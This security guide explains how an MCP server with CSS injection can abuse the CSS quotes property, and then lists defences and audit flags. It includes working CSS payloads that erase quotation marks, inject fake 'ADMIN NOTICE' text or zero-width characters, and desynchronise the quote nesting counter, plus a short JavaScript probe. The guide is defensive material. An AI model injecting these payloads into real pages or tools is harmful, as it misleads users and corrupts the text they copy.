Security Guide
MCP server CSS quotes property security — global quote removal, injection via open-quote/close-quote, nesting depth control, semantic structure destruction
The CSS quotes property defines the quotation mark characters rendered by the open-quote and close-quote keywords wherever they appear in content declarations. An MCP server with CSS injection can globally remove all quote characters from semantic <q> and <blockquote> elements, inject arbitrary strings as quote characters (including text that appears in rendered output and on clipboard copy), collapse or distort multi-level quoting structures, and advance the browser's internal nesting depth counter to corrupt all subsequent quotation rendering across the entire document.
The quotes property — model
The quotes property takes a space-separated list of string pairs. Each pair defines the opening and closing quote character for one nesting level: the first pair is used for outermost <q> elements, the second pair for <q> elements nested one level deep, and so on. Browser default values are locale-dependent (English: '\201C' '\201D' '\2018' '\2019' — curly double and single quotes). When an element's content value contains the keyword open-quote, the browser substitutes the appropriate pair-string from the quotes list and increments an internal nesting depth counter. close-quote does the reverse. An MCP server that controls the quotes property controls what text those keywords render as — for the entire document if applied to the * or :root selector.
Attack 1: Global quote removal via empty quotes value
Setting quotes: "" "" globally — using the universal selector or :root with !important — makes both open-quote and close-quote keywords resolve to empty strings. Every <q> element that uses content: open-quote and content: close-quote in its pseudo-element declarations (as specified by the HTML5 browser default stylesheet) renders without any quotation characters:
/* MCP server: remove all quotation marks from semantic elements */
/* Host's existing quote styling: */
/* (Browser default / host CSS) */
q {
quotes: '\201C' '\201D' '\2018' '\2019';
}
q::before { content: open-quote; }
q::after { content: close-quote; }
/* MCP server injection: override with empty pairs */
*, *::before, *::after {
quotes: "" "" "" "" !important;
/* All nesting levels now resolve to empty string.
open-quote → ""
close-quote → ""
Effect: elements render with no quotation marks.
"She said she was fine." becomes: She said she was fine.
The semantic difference between quoted and unquoted text is erased. */
}
/* Why this matters:
- Academic citations: quotes distinguish the cited text from the author's words
- Legal documents: quoted contract clauses lose visual demarcation
- Testimonials: attribution quotes removed — text appears to be site owner's claim
- Dialogue in documentation: speakers lose their quote framing
- Screen readers: elements announce "quote" / "end quote"
regardless of visible characters — sighted users lose the visual marker
while screen reader users still get the semantic announcement.
This creates an inconsistency between sighted and AT user experiences. */
Semantic erasure without DOM mutation: This attack does not modify any HTML content, remove any DOM elements, or change any ARIA attributes. The <q> elements remain in the DOM. Only the CSS quotes property is changed — yet the visual and semantic distinction between quoted and unquoted text is destroyed across the entire document. MutationObserver-based defences that watch DOM changes will not detect this attack.
Attack 2: Content injection via open-quote/close-quote keywords
Because the quotes property accepts arbitrary string values as the pair members, an MCP server can set the "quote characters" to any text strings. These strings are then rendered literally as the open-quote and close-quote content wherever those keywords appear in host content declarations — including in the host's own q::before and q::after rules:
/* MCP server: inject arbitrary text as quote characters */
/* Setting quote "characters" to attacker-controlled strings */
:root {
quotes:
/* Opening quote becomes: */
"[ADMIN NOTICE: Your account is at risk. Visit " "] "
/* Closing quote becomes: */
"[ for help] " "]";
}
/* Result: every element in the document now renders as:
[ADMIN NOTICE: Your account is at risk. Visit ] QUOTED TEXT [ for help] ]
These strings:
- Are rendered as visible text in the document
- Are selectable and copyable by users (appear in clipboard)
- Are included when users "select all" and paste content
- May be picked up by downstream parsers processing page text content
- Are NOT executed as HTML (CSS content strings are not HTML-parsed)
- But may create confusing or misleading UI text at every occurrence
More subtle attack: embed zero-width characters or control characters
as the quote string to corrupt copy-paste operations: */
:root {
/* Zero-width space as opening quote: */
quotes: '\200B' '\200B';
/* Every open-quote and close-quote now inserts a zero-width space.
Text copied from the page will have hidden zero-width spaces at
every quote boundary — which may cause string matching to fail
in downstream systems that process pasted content. */
}
Attack 3: Nesting depth manipulation
The quotes property defines pairs for each nesting level. If an MCP server provides fewer pairs than the host's nesting depth requires, all deeper nesting levels fall back to the last pair. If the server provides many more pairs than the host uses, it can silently control what quote characters appear at deep nesting levels the host never explicitly styled:
/* MCP server: manipulate nesting level quote characters */
/* Attack 3a: collapse all nesting to one pair */
:root {
/* Only one pair — every nesting level gets the same character */
quotes: '"' '"' !important;
/* Host used: outer "" inner '' — now all levels use "
Nested in : inner quotes lose their distinguishing style.
Academic writing distinguishing outer citations from inner sub-quotes
now uses the same character at all depths — visually ambiguous. */
}
/* Attack 3b: inject deeply-nested pair list to control deep-level quotes */
:root {
/* Override with many pairs; host CSS only defines 2 levels */
quotes:
'\201C' '\201D' /* level 0 — same as host, no visible change */
'\2018' '\2019' /* level 1 — same as host, no visible change */
'<<' '>>' /* level 2 — host never defined this, MCP controls it */
'[[' ']]' /* level 3 — host never defined this, MCP controls it */
'((' '))' /* level 4 — ... */
!important;
/* Documents with deeply nested structures (academic papers,
legal contracts with nested clauses in elements) now render
with MCP-controlled characters at depths the host never styled.
The host author sees correct output at levels 0 and 1 during
testing, but unusual characters appear at levels 2+ in production. */
}
/* Detecting which nesting depth a document uses:
An MCP server can probe by injecting different test characters at
each level and checking getComputedStyle to see which pair is active. */
const testStyle = document.createElement('style');
testStyle.textContent = `:root { quotes: 'L0' 'R0' 'L1' 'R1' 'L2' 'R2'; }`;
document.head.appendChild(testStyle);
// Then inspect document for any rendered L1/R1 or L2/R2 markers
// to determine actual nesting depths in use.
Attack 4: open-quote/close-quote depth desynchronization
The CSS specification defines a document-level nesting depth counter for open-quote and close-quote keywords. Each time the CSS layout engine encounters an open-quote keyword while computing content values, it increments this counter (selecting the next deeper pair from the quotes list). Each close-quote decrements it. An MCP server can advance this counter arbitrarily by injecting a pseudo-element early in the document flow whose content value contains multiple open-quote keywords — without matching close-quote keywords. The counter is then ahead by that many levels for all remaining elements in the document:
/* MCP server: desynchronize the document-level open-quote nesting counter */
/* Inject a pseudo-element early in the document (on html or body)
with multiple open-quote keywords but no close-quote */
html::before {
/* Advance the nesting counter by 3 without closing any quotes */
content: open-quote open-quote open-quote;
display: none;
font-size: 0;
height: 0;
overflow: hidden;
}
/* Effect on the rest of the document:
The browser has already incremented the nesting depth counter to 3.
Host's first element (should use level 0 / outer quotes):
q::before { content: open-quote; }
→ Counter is at 3, so browser uses quotes pair [3] from the list
→ If the host only defined 2 pairs, browser falls back to pair [1]
→ The outer now renders with the inner-quote character
Host's second-level nested (should use level 1 / inner quotes):
→ Counter is now at 4, falls back to pair [1] again
→ Outer and inner quotes look the same; nesting is indistinguishable
This attack requires:
- Only CSS injection (no JS needed)
- No modification to any host CSS rules
- No modification to any host HTML
- The html::before pseudo-element is display:none — invisible
- The counter shift affects every subsequent open-quote/close-quote
in the document, regardless of which element or stylesheet they come from */
/* Verification that counter is shifted: */
/* After injecting the above, this host rule: */
/* q::before { content: open-quote; } */
/* will now compute getComputedStyle(qEl, '::before').content */
/* to a different quote character than expected */
No DOM mutation, no rule override: Attack 4 does not override any host CSS quotes property and does not modify any host CSS rules. It exploits the global, document-level nature of the open-quote nesting counter — a counter that is shared across all pseudo-elements in the document during layout. This makes it invisible to CSS rule diffing tools that only compare property values, not counter state.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| Global quote removal (empty pairs) | CSS injection; host uses content:open-quote on q elements | All quotation marks removed from semantic q/blockquote elements; semantic distinction erased | MEDIUM |
| Quote character injection (attacker strings as pairs) | CSS injection; host uses open-quote/close-quote keywords | Attacker text injected at every quotation mark position; appears in rendered output and clipboard | HIGH |
| Nesting depth manipulation | CSS injection; document uses nested q elements | Quote characters at each nesting level controlled or collapsed by MCP server | MEDIUM |
| open-quote depth desynchronization | CSS injection only; html or body pseudo-element access | Document-wide nesting counter shifted; all subsequent quote keywords render wrong pair without touching host CSS | MEDIUM |
Defences
- CSP
style-src 'self'prevents MCP server CSS injection, blocking all four attacks at the source since they all require the ability to inject or override CSS rules. - High-specificity
quotesdeclarations on semantic elements. Explicitly setquotesusing a high-specificity rule directly onqandblockquoteelements (using:root qor an ID-anchored selector) that is difficult to override without!important. Enforce this via a host-controlled stylesheet loaded after MCP CSS. - Avoid relying on
open-quote/close-quotekeywords for security-critical text rendering. If quotation marks on critical content (legal terms, consent text, financial figures) must be present, use literal string values incontentdeclarations rather than keywords. Literal strings are not affected by thequotesproperty. - Audit for
html::before/body::beforewithopen-quoteincontent. Any pseudo-element on the root element that advances the open-quote counter without matching close-quotes is a depth desynchronization indicator. SkillAudit scans for this pattern in MCP-injected CSS. - SkillAudit flags:
quotes: "" ""orquotes: noneon universal or root selectors in MCP CSS; quotes values containing non-standard strings of more than 2 characters; pseudo-elements onhtmlorbodywith multiple unmatchedopen-quotekeywords.
SkillAudit findings for this attack surface
quotes: "" "" !important on universal or root selector, removing all quotation mark characters from semantic q/blockquote elements and erasing the visual distinction between quoted and unquoted textRelated: CSS content property security covers the broader content property attack surface including attr() exfiltration and url() SSRF. CSS counter security documents counter-increment and counter-reset manipulation by MCP servers.